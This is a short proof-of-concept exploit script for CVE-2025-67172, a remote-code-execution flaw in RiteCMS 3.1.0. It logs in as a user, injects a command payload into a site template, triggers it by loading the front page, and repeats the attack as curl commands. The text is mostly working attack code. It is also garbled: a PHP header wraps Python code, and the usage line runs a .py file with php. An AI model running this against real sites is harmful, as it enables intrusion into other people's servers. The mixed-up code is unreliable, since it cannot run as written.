CVE-2025-67172

<?php /** * CVE-2025-67172 PoC - RiteCMS v3.1.0 Authenticated RCE * via parse_special_tags() function * * Usage: php cve-2025-67172.py <target_url> <username> <password> * * Note: This PoC demonstrates the vulnerability for authorized security testing only. */ import requests import sys import re def exploit_ritecms(target_url, username, password): """ Exploit CVE-2025-67172: RiteCMS v3.1.0 Authenticated RCE """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/admin/index.php" login_data = { 'username': username, 'password': password } response = session.post(login_url, data=login_data) if 'logout' not in response.text.lower() and 'admin' not in response.text.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Inject malicious payload via template editing # Target: functions.inc.php parse_special_tags() function template_url = f"{target_url}/admin/template_edit.php" # Malicious payload - executes system command # The parse_special_tags() function processes special tags without proper sanitization payload = "{exec(cmd='whoami')}" template_data = { 'template': 'default', 'content': payload, 'save': '1' } response = session.post(template_url, data=template_data) # Step 3: Trigger the payload by accessing the parsed content # The parse_special_tags() function will execute the injected command page_url = f"{target_url}/index.php" response = session.get(page_url) if 'root' in response.text or 'www-data' in response.text: print("[+] RCE Successful! Command executed.") return True print("[-] Exploitation failed or command not executed.") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_ritecms(target, user, pwd) # Alternative curl-based PoC: # 1. Login: curl -X POST http://target/admin/index.php -d "username=admin&password=admin" # 2. Inject: curl -X POST http://target/admin/template_edit.php -d "template=default&content={exec(cmd='id')}&save=1" -b cookies.txt # 3. Trigger: curl http://target/index.php -b cookies.txt

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